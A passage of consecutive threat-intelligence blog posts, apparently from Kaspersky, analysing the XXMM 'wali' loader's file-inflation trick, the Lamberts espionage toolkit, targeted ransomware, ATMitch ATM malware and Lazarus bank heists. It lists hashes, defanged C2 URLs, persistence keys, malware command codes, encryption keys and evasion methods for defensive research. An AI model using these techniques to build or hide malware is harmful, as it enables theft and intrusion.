Fourth, the report mentions an MBR File Handle component that is able to circumvent security solutions’ drivers and thus upload malware into the Master Boot Record of the operating system.

In fact, this trick is foiled by the antirootkit technology included in Kaspersky Lab products, which enables them to reliably detect and remove infections — even the most advanced bootkits.

Fifth, another tool mentioned in the report is the Bartender program, which collects data on installed software. This functionality is not malicious and is used by many legitimate applications. However, Kaspersky Lab’s products do provide protection against such activity should a user select the high security level setting.

Fun facts

The other two mentions of Kaspersky Lab in the context of malware creation are actually fun facts.

First, the tool called DriftingShadows checks if Kaspersky Lab’s products are installed on the device, and if it finds them, it does … nothing. This means that the malware creators failed to sneak past our products. They now avoid protected devices so that their malware doesn’t get caught.

Second, the documents also describe a game called “Bonus: Capture the Flag” played among malware creators. It involves attempts to create a malware sample that bypasses Kaspersky Lab’s protection. In other words, malefactors consider our products a gold standard of cybersecurity.


Investigating the existing report thoroughly, we found two vulnerabilities and several other mentions of Kaspersky Lab, including discussions regarding our reports on the Duqu 2.0 and Equation cyberespionage campaigns. Both vulnerabilities were fixed quite some time ago and pose no threat to our customers. The same goes for the other malicious tools and techniques mentioned.

However, we are staying vigilant and continuously monitoring the situation. WikiLeaks may yet publish more details. In any case, we’d like to reassure customers that addressing any possible vulnerabilities will be our top priority.

No development process guarantees immediate, perfect, permanent invincibility. We are committed to constantly improving the development process, and we also make significant efforts to perfect the process of fixing newly discovered vulnerabilities.

Old Malware Tricks To Bypass Detection in the Age of Big Data

Thu, 04/13/2017 - 05:44

Kaspersky Lab has been tracking a targeted attack actor’s activities in Japan and South Korea recently. This attacker has been using the XXMM malware toolkit, which was named after an original project path revealed through a pdb string inside the file: “C:\Users\123\documents\visual studio 2010\Projects\xxmm2\Release\test2.pdb”. We came across an unusual technique used by a sample which contained no pdb strings but was very similar to a variant of XXMM malware in terms of code similarity, malware functionality, crypto-algorithm, data structures and module configuration.

The malware sample we observed was named “srvhost.exe” to resemble a standard system process name. It came from one of our partners at the beginning of 2017. One of the most surprising features of the malware was its file size, which is not commonly seen in malware – it was over 100MB. According to our analysis, this malware is a Trojan loader component that activates a backdoor. We could not confirm pdb strings from this malware, however the backdoor module seems to be named “wali” by the author, according to strings from the embedded config block.

Fig. config strings with “[wali]” section

Fig. “wali.exe” name in the malware body

The wali loader decrypts the embedded wali backdoor using the “\x63” byte and a simple XOR operation. The XOR key is not only  . Then, the wali backdoor module is injected into the memory of the iexplore.exe process by the loader.

What is inside the wali loader that makes it so big in size? The reason is that this sample has a very big overlay of junk data. We found more than 20 other similar samples (wali loader + overlay) using open source intelligence and by searching our malware collection using YARA rule. After removing the overlay, there were only six unique samples.

md5_payload md5_payload+overlay size d1e24c3cc0322b22988a1ce366d702e5 8bd0ddeb11518f3eaaddc6fd82627f33 105982049 e4811950899f44f9d14a786b4c5b1faa 2871ec229804a6e872db55dafa5c9713 105997178 3e24710d7ade27316d367dd8cb2a0b1a 105996860 3e9feea893482b65a68b1feecb71cd4d 105997043 558ca7fa8ed632fa4f8c69e32888af0f 105997191 d11f7b25823ce474e30e8ab9c8d567b0 105996847 f4c3f06faf53ad2bbc047818344a2323 105997181 f7cc6a5a06cd032c6172d14c1568b976 105997102 e7492f11c88d32e1e0b43f6b29604ec8 6a5558e4ab530f9b5c2d5bcc023d3218 105997658 bb8cef31cf6211c584d245be88573e1f 105997755 Table. Some samples of 100M+ bytes wali loader + overlay

The overlay data is generated by the wali dropper when the wali loader is installed onto the victim’s machine. The following figure shows the structure of malware components and how they are related to each other:

Fig. Structure of wali modules

Wali dropper1 checks the CPU architecture. If the CPU is 64-bit, this malware decrypts the 64-bit version of the wali loader from resource id 101. Otherwise, it decrypts the 32-bit version of the wali loader from resource id 102. To extract the resource data it uses RC4 with “12345” as the cryptokey, and LZNT1 to decompress the data after that. Dropper1 creates a file named “win${random4 chr}.tmp.bat” in the current temp directory from the decrypted wali dropper2 data. Finally, it appends generated garbage data to the overlay of the dropped file and runs wali dropper2

Wali dropper2 checks if the user account has admin privileges, and decrypts the wali loader using the same algorithm and the same key as of dropper1, and creating new files using the following file paths:

  • %ProgramFiles%\Common Files\System\Ole DB\srvhost.exe
  • %appdata%\Microsoft\Windows\Start Menu\Programs\srvhost.exe

It also appends generated garbage data to the overlay as well, using the same function. Finally, it creates a registry value of “sunUpdate” in  “HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run” to ensure malware persistence.

Generation of Junk Data

The feature to appending junk data to the malware executable to inflate the file size is quite unique to wali dropper1 and wali dropper2. We assume that by creating a large file the authors wanted to avoid AV detection, complicate sample exchange and stay below the radar of the most commonly used YARA rules. The function that generates the junk data is shown below:

Fig. Function to create junk data (create_garbage_data).

The create_garbage_data function generates a random byte in a loop with 1,000 iterations. In every iteration it fills blocks of data of random length within certain dynamically calculated limits. After that the result of create_garbage_data is written to the overlay of the decrypted wali loader and the process is repeated 100 times. This produces junk data of ~100MB which is appended to the executable.

Fig. Loop to append the junk data to overlay.

The size of one wali loader (MD5: d1e24c3cc0322b22988a1ce366d702e5) was initially 1,124,352 bytes. The function that appends garbage produced a new malware file in a real attack (MD5: 8bd0ddeb11518f3eaaddc6fd82627f33) and the file size was increased to 105,982,049 bytes.

As the appended junk data is created dynamically and depends on random values, the size of it may vary. We have seen 100MB files as well as 50MB samples used in real world attacks. The largest we observed was a 200MB malware sample created with the same trick. This technique currently doesn’t affect detection of the malware by Kaspersky Lab products. The malware is detected as:

  • Trojan.Win32.Xxmm
  • Trojan.Win64.Xxmm
  • Trojan-Downloader.Win32.Xxmm
  • Trojan-Downloader.Win64.Xxmm
  • Trojan-Dropper.Win32.Xxmm
  • Trojan-Dropper.Win64.Xxmm

Inflating file size with garbage data is not a completely new technique. Previously polymorphic viruses and worms used this technique a lot to mix original code with garbage data spread across the malware file, sometime increasing the file size by hundreds of kilobytes and even megabytes. Certain software protectors may also insert decoy files into packed files and inflate file size up to 1MB. We have also seen executable malwares disguised as movie files and ISO files spread over torrents, which in these cases, the malware size is inflated to a few gigabytes in order to mimic true content .

What is quite unique in using this method and appending junk data to a file is that in this case this technique is used in targeted attacks and is happening after the initial infection, during the later phases of attack with the intention of increasing file size to avoid detection.

While this technique may seem inefficient in its primitive approach to bypass detection, we believe that in certain cases this malware may stay below the radar of incident responders and forensic analysts who use YARA rules to scan harddrives. The reason is that one of the common practices for YARA rule authors is to limit the size of scanned files, which is aimed mainly at improving performance of the scanning process. Large files, like the ones produced by XXMM malware, may become invisible for such rules, which is why we would like to recommend security researchers to consider this when creating rules for dropped malwares.

Indicators of Compromise

SHA256sum of samples

Wali dropper1:

  • 9b5874a19bf112832d8e7fd1a57a2dda180ed50aa4f61126aa1b7b692e6a6665

Wali dropper2:

  • da05667cd1d55fa166ae7bd95335bd080fba7b53c62b0fff248ce25c59ede54a
  • 10fca84ae22351356ead529944f85ef5d68de38024d4c5f6058468eb399cbc30

Wali loader + overlay:

  • 1f73d3a566ab7274b3248659144f1d092c8a5fc281f69aa71b7e459b72eb6db2
  • 24835916af9b1f77ad52ab62220314feea91d976fdacad6c942468e20c0d9ca1
  • 303c9fabf6cff78414cebee9873040aeb9dcf6d69962bd9e0bbe1a656376ed16
  • 3ffd5d3579bddbfd7136a6969c03673284b1c862129cfafe7a40beea1f56e790
  • 803a5a920684a5ab1013cb73bf8581045820f9fc8130407b8f81475d91ff7704
  • d2126d012de7c958b1969b875876ac84871271e8466136ffd14245e0442b6fac
  • d7b661754cae77aa3e77c270974a3fd6bda7548d97609ac174a9ca38ee802596
  • dc5e8c6488f7d6f4dcfac64f8f0755eb8582df506730a1ced03b7308587cdc41
  • f4a07e6dcb49cb1d819c63f17a8250f6260a944e6e9a59e822e6118fb1213031
  • ffd45bde777b112206b698947d9d9635e626d0245eb4cfc1a9365edc36614cbe

Wali loader:

  • a24759369d794f1e2414749c5c11ca9099a094637b6d0b7dbde557b2357c9fcd
  • b55b40c537ca859590433cbe62ade84276f3f90a037d408d5ec54e8a63c4ab31
  • c48a2077e7d0b447abddebe5e9f7ae9f715d190603f6c35683fff31972cf04a8
  • 725dedcd1653f0d11f502fe8fdf93d712682f77b2a0abe1962928c5333e58cae
  • cfcbe396dc19cb9477d840e8ad4de511ddadda267e039648693e7173b20286b1

C2 (compromised web sites) of wali:

  • hXXp://******essel[.]com/mt/php/tmpl/missing.php
  • hXXp://******essel[.]com/mt/mt-static/images/comment/s.php
  • hXXp://******hi[.]com/da******/hinshu/ki******/ki******.php
  • hXXp://******an[.]jp/_module/menu/menug/index.php
  • hXXp://******[.]jp/includes/firebug/index.php
  • hXXp://******[.]jp/phpmyadmin/themes/pmahomme/sprites.html
  • hXXp://******usai[.]com/ex-engine/modules/comment/queries/deleteComment.php
  • hXXp://******1cs[.]net/zy/images/patterns/preview/deleteComments.php
  • hXXp://******1cs[.]net/zy/images/colorpicker/s.php

Filename (over 50MB size):

  • srvhost.exe
  • propsyse.exe
  • perfcore.exe
  • oldb32.exe
  • oledb32.exe
  • javaup.exe

Unraveling the Lamberts Toolkit

Tue, 04/11/2017 - 05:59

Yesterday, our colleagues from Symantec published their analysis of Longhorn, an advanced threat actor that can be easily compared with Regin, ProjectSauron, Equation or Duqu2 in terms of its complexity.

Longhorn, which we internally refer to as “The Lamberts”, first came to the attention of the ITSec community in 2014, when our colleagues from FireEye discovered an attack using a zero day vulnerability (CVE-2014-4148). The attack leveraged malware we called ‘BlackLambert’, which was used to target a high profile organization in Europe.

Since at least 2008, The Lamberts have used multiple sophisticated attack tools against high-profile victims. Their arsenal includes network-driven backdoors, several generations of modular backdoors, harvesting tools, and wipers. Versions for both Windows and OSX are known at this time, with the latest samples created in 2016.

Although the operational security displayed by actors using the Lamberts toolkit is very good, one sample includes a PDB path that points to a project named “Archan~1” (perhaps ‘Archangel’). The root folder on the PDB path is named “Hudson”. This is one of the very few mistakes we’ve seen with this threat actor.

While in most cases the infection vector remains unknown, the high profile attack from 2014 used a very complex Windows TTF zero-day exploit (CVE-2014-4148).

Kaspersky Lab products successfully detect and eradicate all the known malware from the Lamberts family. For more information please contact: intelreports@kasperskycom

An Overview of the Lamberts

Figure 1. Lamberts discovery timeline

The first time the Lambert family malware was uncovered publicly was in October 2014, when FireEye posted a blog about a zero day exploit (CVE-2014-4148) used in the wild. The vulnerability was patched by Microsoft at the same time. We named the malware involved ‘Black Lambert’ and described it thoroughly in a private report, available to Kaspersky APT Intel Reports subscribers.

The authors of Black Lambert included a couple of very interesting details in the sample, which read as the following: toolType=wl, build=132914, versionName = 2.0.0. Looking for similar samples, we were able to identify another generation of related tools which we called White Lambert. While Black Lambert connects directly to its C&C for instructions, White Lambert is a fully passive, network-driven backdoor.

Black Lambert White Lambert Implant type Active Passive toolType wl aa (“ArchAngel”) build 132914 113140 versionName 2.0.0 5.0.2

Internal configuration similarities in Black and White Lambert

White Lambert runs in kernel mode and intercepts network traffic on infected machines. It decrypts packets crafted in a special format to extract instructions. We named these passive backdoors ‘White Lambert’ to contrast with the active “Black Lambert” implants.

Looking further for any other malware related to White Lambert and Black Lambert, we came by another generation of malware that we called Blue Lambert.

One of the Blue Lambert samples is interesting because it appears to have been used as second stage malware in a high profile attack, which involved the Black Lambert malware.

Looking further for malware similar to Blue Lambert, we came by another family of malware we called Green Lambert. Green Lambert is a lighter, more reliable, but older version of Blue Lambert. Interestingly, while most Blue Lambert variants have version numbers in the range of 2.x, Green Lambert is mostly in 3.x versions. This stands in opposition to the data gathered from export timestamps and C&C domain activity that points to Green Lambert being considerably older than the Blue variant. Perhaps both Blue and Green Lamberts have been developed in parallel by two different teams working under the same umbrella, as normal software version iterations, with one seeing earlier deployment than the other.

Signatures created for Green Lambert (Windows) have also triggered on an OS X variant of Green Lambert, with a very low version number: 1.2.0. This was uploaded to a multiscanner service in September 2014. The OS X variant of Green Lambert is in many regards functionally identical to the Windows version, however it misses certain functionality such as running plugins directly in memory.

Kaspersky Lab detections for Blue, Black, and Green Lamberts have been triggered by a relatively small set of victims from around the world. While investigating one of these infections involving White Lambert (network-driven implant) and Blue Lambert (active implant), we found yet another family of tools that appear to be related. We called this new family Pink Lambert.

The Pink Lambert toolset includes a beaconing implant, a USB-harvesting module and a multi-platform orchestrator framework which can be used to create OS-independent malware. Versions of this particular orchestrator were found on other victims, together with White Lambert samples, indicating a close relationship between the White and Pink Lambert malware families.

By looking further for other undetected malware on victims of White Lambert, we found yet another apparently related family. The new family, which we called Gray Lambert is the latest iteration of the passive network tools from the Lamberts’ arsenal. The coding style of Gray Lambert is similar to the Pink Lambert USB-harvesting module, however, the functionality mirrors that of White Lambert. Compared to White Lambert, Gray Lambert runs in user mode, without the need for exploiting a vulnerable signed driver to load arbitrary code on 64-bit Windows variants.

Connecting all these different families by shared code, data formats, C&C servers, and victims, we have arrived at the following overarching picture:

Figure 2. An overview of connections between the Lambert families

The Lamberts in Brief – from Black to Gray

Below, we provide a small summary of all the Lamberts. A full description of all variants is available to subscribers of Kaspersky APT Reports. Contact

Black Lambert

The only known sample of Black Lambert was dropped by a TTF-exploit zero day (CVE-2014-4148). Its internal configuration included a proxy server which suggests the malware was created to work in a very specific network configuration, inside the victim’s network.

An internal description of Black Lambert indicates what appears to be a set of markers used by the attackers to denote this particular branch: toolType=wl, build=132914, versionName = 2.0.0.

Hash Description 683afdef710bf3c96d42e6d9e7275130 generic loader (hdmsvc.exe) 79e263f78e69110c09642bbb30f09ace winlib.dll, final payload (toolType=wl) Blue Lambert

The Blue Lambert implants contain what appear to be version numbers in the 2.x range, together with project/operation codename sets, which may also indicate codenames for the victims or campaigns.

Figure 4. Blue Lambert configuration in decrypted form, highlighting internal codenames


Green Lambert

Green Lambert is a family of tools deeply related to Blue Lambert. The functionality is very similar, both Blue and Green are active implants. The configuration data shares the same style of codenames for victims, operations, or projects.

Figure 5. Green Lambert configuration block (decrypted) highlighting internal codenames

The Green Lambert family is the only one where non-Windows variants have been found. An old version of Green Lambert, compiled for OS X was uploaded from Russia to a multiscanner service in 2014. Its internal codename is HO BO (1.2.0).

The Windows versions of Green Lambert have the following code names: BEARD BLUE (2.7.1), GORDON FLASH (3.0), APE ESCAPE (3.0.2), SPOCK LOGICAL (3.0.2), PIZZA ASSAULT (3.0.5), and SNOW BLOWER (3.0.5).

Interestingly, one of the droppers of Green Lambert abused an ICS software package named “Subway Environmental Simulation Program” or “SES”, which has been available on certain forums visited by engineers working with industrial software. Similar techniques have been observed in the past from other threat groups, for instance, trojanized Oracle installers by the Equation group.

White Lambert

White Lambert is a family of tools that share the same internal description as Black Lambert. Known tool types, builds, and version names include:

  • ToolType “aa”, protocol 3, version 7, versionName 5.0.2, build 113140
  • ToolType “aa”, protocol 3, version 7, versionName 5.0.0, build 113140
  • ToolType “aa”, protocol 3, version 6, versionName 4.2.0, build 110836M
  • ToolType “aa”, protocol 3, version 5, versionName 3.2.0

One of the White Lambert samples is interesting because it has a forgotten PDB path inside, which points to “Archan~1l” and “Hudson”. Hudson could point to a project name, if the authors name their projects by rivers in the US, or, it could also be the developer’s first name. The truncated (8.3) path “archan~1” most likely means “Archangel”. The tool type “aa” could also suggest “ArchAngel”. By comparison, the Black Lambert tool type “wl” has no known meaning.

White Lambert samples run in kernel mode and sniff network traffic looking for special packets containing instructions to execute. To run unsigned code in kernel mode on 64-bit Windows, White Lambert uses an exploit against a signed, legitimate SiSoftware Sandra driver. The same method was used before by Turla, ProjectSauron, and Equation’s Grayfish, with other known, legitimate drivers.

Pink Lambert

Pink Lambert is a suite of tools initially discovered on a White Lambert victim. It includes a beaconing implant, partially based on publicly available source code. The source code on top of which Pink Lambert’s beaconing implant was created is “A Fully Featured Windows HTTP Wrapper in C++”.

Figure 6. “A Fully Featured Windows HTTP Wrapper” by shicheng

Other tools in the Pink Lambert suite include USB stealer modules and a very complex multi-platform orchestrator.

In a second incident, a Pink Lambert orchestrator was found on another White Lambert victim, substantiating the connection between the Pink and White Lamberts.

Gray Lambert

Gray Lambert is the most recent tool in the Lamberts’ arsenal. It is a network-driven backdoor, similar in functionality to White Lambert. Unlike White Lambert, which runs in kernel mode, Gray Lambert is a user-mode implant. The compilation and coding style of Gray Lambert is similar to the Pink Lambert USB stealers. Gray Lambert initially appeared on the computers of victims infected by White Lambert, which could suggest the authors were upgrading White Lambert infections to Gray. This migration activity was last observed in October 2016.

Some of the known filenames for Gray Lambert are mwapi32.dll and poolstr.dll – it should be pointed though that the filenames used by the Lamberts are generally unique and have never been used twice.


Most of the Blue and Green Lambert samples have two C&C servers hardcoded in their configuration block: a hostname and an IP address. Using our own pDNS as well as DomainTools IP history, we plotted the times when the C&C servers were active and pointing to the same IP address as the one from the configuration block.

Unfortunately, this method doesn’t work for all samples, since some of them don’t have a domain for C&C. Additionally, in some cases we couldn’t find any pDNS information for the hostname configured in the malware.

Luckily, the attackers have made a few mistakes, which allow us to identify the activity times for most of the other samples. For instance, in case when no pDNS information was available for a subdomain on top of the main C&C domain, the domain registration dates were sufficient to point out when the activity began. Additionally, in some cases the top domain pointed to the same IP address as the one from the configuration file, allowing us to identify the activity times.

Another worthwhile analysis method focuses on the set of Blue Lambert samples that have exports. Although most compilation timestamps in the PE header appear to have been tampered (to reflect a 2003-2004 range), the authors forgot to alter the timestamps in the export section. This allowed us to identify not just the activity / compilation timestamps, but also the method used for faking the compilation timestamps in the PE header.

It seems the algorithm used to tamper with the samples was the following: subtract 0x10 from the highest byte of timestamp (which amounts to about 8 and half years) and then randomize the lowest 3 bytes. This way we conclude that for Blue Lamberts, that original compilation time of samples was in the range of 2012-2015.

Putting together all the various families, with recovered activity times, we come to the following picture:

Figure 8. A timeline of activity for known Lamberts

As it can be seen from the chart above, Green Lambert is the oldest and longest-running in the family, while Gray is the newest. White, Blue and Pink somehow overlap in deployment, with Blue replacing Green Lambert. Black Lambert was seen only briefly and we assume it was “retired” from the arsenal after being discovered by FireEye in 2014.

Codenames and Popular Culture Referenced in Lamberts

The threat group(s) behind the Lambert toolkits have used a large number of codenames extensively throughout their projects. Some of these codenames are references to old computer games, Star Trek, and cartoons, which is very unusual for high profile APT groups. We really enjoyed going through the backstories of these codenames and wanted to provide them below for others to enjoy as well.

For instance, one of the Green Lambert versions has the internal codename “GORDON FLASH”, which can also be read as “FLASH GORDON”. Flash Gordon is the hero of a space opera adventure comic strip created by and originally drawn by Alex Raymond. It was first published in 1934 and subsequently turned into a popular film in 1980.

Flash Gordon poster

A ‘Funnel cake’ is a regional food popular in North America at carnivals, fairs, sporting events, and seaside resorts. This explains the codename “FUNNELCAKE CARNIVAL”:

Figure 9. A typical funnel cake

Spock and Prosper obviously refers to Star Trek, the well-known science fiction television series created by Gene Roddenberry. Cdr. Spock is a half-Vulcan, half-human character, portrayed by Leonard Nimoy. “Live long and prosper” is the traditional Vulcan greeting in the series.

Leonard Nimoy as “Spock” displaying the traditional Vulcan greeting “Live long and prosper”

Ringtoss is a game that is very popular at carnivals in North America.

DOUBLESIDED SCOOBYSNACK is likely a reference to an NFL Lip Reading video featuring Adrian Peterson that went viral in mid-2013. According to the urban dictionary, it is also used to denote a sexual game in which the participants are dressed as Scooby-Doo and his master.

Ape Escape (also known as Saru Get You (サルゲッチュ Saru Getchu) in Japan) is a series of video games made by SCE Japan Studio, starting with Ape Escape for PlayStation in 1999. The series often incorporates ape-related humor, unique gameplay, and a wide variety of pop culture references; it is also notable for being the first game to make the DualShock or Dual Analog controller mandatory.

Ape Escape

INVERTED SHOT is likely a reference to a mixed martial arts move also known as an ‘Imanari roll takedown’, named after Masakazu Imanari who popularized the grappling technique. It consists of a modified Brazilian jiu-jitsu granby roll that places the fighter in inverted guard position while taking the opponent down to the mat.

GAI and SHU (as used in Green Lambert OS X) are characters from the Guilty Crown anime series. Gai Tsutsugami (恙神 涯 Tsutsugami Gai) is the 17-year-old resourceful and charismatic leader of the “Funeral Parlor” resistance group, while Shu Ouma (桜満 集 Ōma Shū) is the 17-year-old main protagonist of Guilty Crown.

Figure 10. Main characters of Guilty Crown with Shu Ouma in the middle.


The Lamberts toolkit spans across several years, with most activity occurring in 2013 and 2014. Overall, the toolkit includes highly sophisticated malware, which relies on high-level techniques to sniff network traffic, run plugins in memory without touching the disk, and leverages exploits against signed drivers to run unsigned code on 64-bit Windows.

To further exemplify the proficiency of the attackers leveraging the Lamberts toolkit, deployment of Black Lambert included a rather sophisticated TTF zero day exploit, CVE-2014-4148. Taking that into account, we classify the Lamberts as the same level of complexity as Regin, ProjectSauron, Equation and Duqu2, which makes them one of the most sophisticated cyber espionage toolkits we have ever analysed.

Considering the complexity of these projects and the existence of an implant for OS X, we assume that it is highly possible that other Lamberts also exist for other platforms, such as Linux. The fact that in the vast majority of cases the infection method is unknown probably means there are still a lot of unknown details about these attacks and the group(s) leveraging them.

As usual, defense against attacks such as those from the Lamberts/Longhorn should include a multi-layered approach. Kaspersky products include special mitigation strategies against the malware used by this group, as well as the many other APT groups we track. If you are interested in reading more about effective mitigation strategies in general, we recommend the following articles:

We will continue tracking the Lamberts and sharing new findings with our intel report subscribers, as well as with the general public. If you would like to be the first to hear our news, we suggest you subscribe to our intel reports.

Kaspersky Lab products successfully detect and eradicate all the known malware from the Lamberts family.

For more information about the Lamberts, please contact:

Ransomware in targeted attacks

Tue, 04/04/2017 - 12:08

Ransomware’s popularity has attracted the attention of cybercriminal gangs; they use these malicious programs in targeted attacks on large organizations in order to steal money. In late 2016, we detected an increase in the number of attacks, the main goal of which was to launch an encryptor on an organization’s network nodes and servers. This is due to the fact that organizing such attacks is simple, while their profitability is high:

  • The cost of developing a ransom program is significantly lower compared to other types of malicious software.
  • These programs entail a clear monetization model.
  • There is a wide range of potential victims.

Today, an attacker (or a group) can easily create their own encryptor without making any special effort. A vivid example is the Mamba encryptor based on DiskCryptor, an open source software. Some cybercriminal groups do not even take the trouble of involving programmers; instead, they use this legal utility “out of the box.”

DiskСryptor utility

The model of attack looks like this:

  1. Search for an organization that has an unprotected server with RDP access.
  2. Guess the password (or buy access on the black market).
  3. Encrypt a node or server manually.

Notification about encrypting the organization’s server

The cost to organize such an attack is minimal, while the profit could reach thousands of dollars. Some partners of well-known encryptors resort to the same scheme. The only difference is the fact that, in order to encrypt the files, they use a version of a ransom program purchased from the group’s developer.

However, true professionals are also active on the playing field. They carefully select targets (major companies with a large number of network nodes), and organize attacks that can last weeks and go through several stages:

  1. Searching for a victim
  2. Studying the possibility of penetration
  3. Penetrating the organization’s network by using exploits for popular software or Trojans on the infected network nodes
  4. Gaining a foothold on the network and researching its topology
  5. Acquiring the necessary rights to install the encryptor on all the organization’s nodes/servers
  6. Installing the encryptor

Recently, we have written about one of these types of ransomware, PetrWrap, on our blog.

The screen of a machine infected with PetrWrap

Of special note is the software arsenal of a few groups that is used to penetrate and anchor in an organization’s network. For example, one of the groups used open source exploits for the server software that was being used on the server of the victim organization. Once the attackers had exploited this vulnerability, they installed an open sourced RAT tool, called PUPY, on the system.

Pupy RAT description

Once they had gained a foothold in the victim network, the attackers used a Mimikatz tool to acquire the necessary access rights, and then installed the encryptor on the network using PsExec.

Considering the above, we can conclude that the scenario of ransomware infection in a target attack differs significantly from the usual infection scenario (malicious email attachments, drive-by-attacks, etc.). To ensure comprehensive security of an organization’s network, it is necessary to audit the software installed on all nodes and servers of the network. If any outdated software is discovered, then it should be updated immediately. Additionally, network administrators should ensure all types of remote access are reliably protected.

Of special note is the fact that, in most cases, the targets of attacks are the servers of an organization, which means that they should be safeguarded by security measures. In addition, the constant process of creating backup copies must be imperative; this will help bring the company’s IT infrastructure back to operational mode quickly and with minimal financial loss.

ATMitch: remote administration of ATMs

Tue, 04/04/2017 - 04:59

In February 2017, we published research on fileless attacks against enterprise networks. We described the data collected during incident response in several financial institutions around the world, exploring how attackers moved through enterprise networks leaving no traces on the hard drives. The goal of these attackers was money, and the best way to cash out and leave no record of transactions is through the remote administration of ATMs. This second paper is about the methods and techniques that were used by the attackers in the second stage of their attacks against financial organizations – basically enabling remote administration of ATMs.

In June 2016, Kaspersky Lab received a report from a Russian bank that had been the victim of a targeted attack. During the heist, the criminals were able to gain control of the ATMs and upload malware to them. After cashing out, the malware was removed. The bank’s forensics specialists were unable to recover the malicious executables because of the fragmentation of a hard drive after the attack, but they were able to restore the malware’s logs and some file names.

The bank’s forensic team were able, after careful forensic analysis of the ATM’s hard drive, to recover the following files containing logs:

  • C:\Windows\Temp\kl.txt
  • C:\logfile.txt

In addition, they were able to find the names of two deleted executables. Unfortunately, they were not able to recover any of the contents:

  • C:\ATM\!A.EXE

Within the log files, the following pieces of plain text were found:

[Date – Time]
[%d %m %Y – %H : %M : %S] > Entering process dispense.
[%d %m %Y – %H : %M : %S] > Items from parameters converted successfully. 4 40
[%d %m %Y – %H : %M : %S] > Unlocking dispenser, result is 0
[%d %m %Y – %H : %M : %S] > Catch some money, bitch! 4000000
[%d %m %Y – %H : %M : %S] > Dispense success, code is 0

As mentioned in the previous paper, based on the information from the log file we created a YARA rule to find a sample, in this case: MD5 cef6c2aa78ff69d894903e41a3308452. And we’ve found one. This sample was uploaded twice (from Kazakhstan and Russia) as “tv.dll”.

The malware, which we have dubbed ATMitch, is fairly straightforward. Once remotely installed and executed via Remote Desktop Connection (RDP) access to the ATM from within the bank, the malware looks for the “command.txt” file that should be located in the same directory as the malware and created by the attacker. If found, the malware reads the one character content from the file and executes the respective command:

  • ‘O’ – Open dispenser
  • ‘D’ – Dispense
  • ‘I’ – Init XFS
  • ‘U’ – Unlock XFS
  • ‘S’ – Setup
  • ‘E’ – Exit
  • ‘G’ – Get Dispenser id
  • ‘L’ – Set Dispenser id
  • ‘C’ – Cancel

After execution, ATMitch writes the results of this command to the log file and removes “command.txt” from the ATM’s hard drive.

The sample “tv.dll” successfully retrieved in this case does not try to conceal itself within the system.

The malware’s command parser

The malware uses the standard XFS library to control the ATM. It should be noted that it works on every ATM that supports the XFS library (which is the vast majority).

Unfortunately, we were unable to retrieve the executables (!A.exe and IJ.exe, located in C:\ATM) from the ATM; only the file names were found as artefacts during the forensic analysis. We assume that these are the installer and uninstaller of the malware. It should also be noted that “tv.dll” contained one Russian-language resource.

Kaspersky Lab continues to monitor and track these kinds of threats and reiterates the need for whitelisting in ATMs as well as the use of anti-APT solutions in banking networks.

Lazarus Under The Hood

Mon, 04/03/2017 - 13:57

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In February 2017 an article in the Polish media broke the silence on a long-running story about attacks on banks, allegedly related to the notoriously known Lazarus Group. While the original article didn’t mention Lazarus Group it was quickly picked up by security researchers. Today we’d like to share some of our findings, and add something new to what’s currently common knowledge about Lazarus Group activities, and their connection to the much talked about February 2016 incident, when an unknown attacker attempted to steal up to $851M USD from Bangladesh Central Bank.

Since the Bangladesh incident there have been just a few articles explaining the connection between Lazarus Group and the Bangladesh bank heist. One such publication was made available by BAE systems in May 2016, however it only included analysis of the wiper code. This was followed by another blogpost by Anomali Labs, confirming the same wiping code similarity. This similarity was found to be satisfying to many readers, however at Kaspersky Lab, we were looking for a stronger connection.

Other claims that Lazarus was the group behind attacks on the Polish financial sector, came from Symantec in 2017, which noticed string reuse in malware at one of their Polish customers. Symantec also confirmed seeing the Lazarus wiper tool in Poland at one of their customers. However, from this it’s only clear that Lazarus might have attacked Polish banks.

While all these facts are fascinating, the connection between Lazarus attacks on banks, and their role in attacks on banks’ systems, was still loose. The only case where specific malware targeting the bank’s infrastructure used to connect to SWIFT messaging server was discovered, is the Bangladesh Central Bank case. However, while almost everybody in the security industry has heard about the attack, few technical details have been revealed to the public based on the investigation that took place on site at the attacked company. Considering that the afterhack publications by the media mentioned that the investigation stumbled upon three different attackers, it was not obvious whether Lazarus was the one responsible for the fraudulent SWIFT transactions, or if Lazarus had in fact developed its own malware to attack banks’ systems.

We would like to add some strong facts that link some attacks on banks to Lazarus, and share some of our own findings as well as shed some light on the recent TTPs used by the attacker, including some yet unpublished details from the attack in Europe in 2017.

This is the first time we announce some Lazarus Group operations that have thus far gone unreported to the public. We have had the privilege of investigating these attacks and helping with incident response at a number of financial institutions in South East Asia and Europe. With cooperation and support from our research partners, we have managed to address many important questions about the mystery of Lazarus attacks, such as their infiltration method, their relation to attacks on SWIFT software and, most importantly, shed some light on attribution.

Lazarus attacks are not a local problem and clearly the group’s operations span across the whole world. We have seen the detection of their infiltration tools in multiple countries in the past year. Lazarus was previously known to conduct cyberespionage and cybersabotage activities, such as attacks on Sony Pictures Entertainment with volumes of internal data leaked, and many system harddrives in the company wiped. Their interest in financial gain is relatively new, considering the age of the group, and it seems that they have a different set of people working on the problems of invisible money theft or the generation of illegal profit. We believe that Lazarus Group is very large and works mainly on infiltration and espionage operations, while a substantially smaller units within the group, which we have dubbed Bluenoroff, is responsible for financial profit.

The watering hole attack on Polish banks was very well covered by media, however not everyone knows that it was one of many. Lazarus managed to inject malicious code in many other locations. We believe they started this watering hole campaign at the end of 2016 after their other operation was interrupted in South East Asia. Lazarus/Bluenoroff regrouped and rushed into new countries, selecting mostly poorer and less developed locations, hitting smaller banks because they are, apparently, easy prey.

To date, we’ve seen Bluenoroff attack four main types of targets:

  • Financial institutions
  • Casinos
  • Companies involved in the development of financial trade software
  • Crypto-currency businesses

Here is the full list of countries where we have seen Bluenoroff watering hole attacks:

  • Mexico
  • Australia
  • Uruguay
  • Russian Federation
  • Norway
  • India
  • Nigeria
  • Peru
  • Poland

Of course, not all attacks were as successful as the Polish attack case, mainly because in Poland they managed to compromise a government website. This website was frequently accessed by many financial institutions making it a very powerful attack vector. Nevertheless, this wave of attacks resulted in multiple infections across the world, adding new hits to the map we’ve been building.

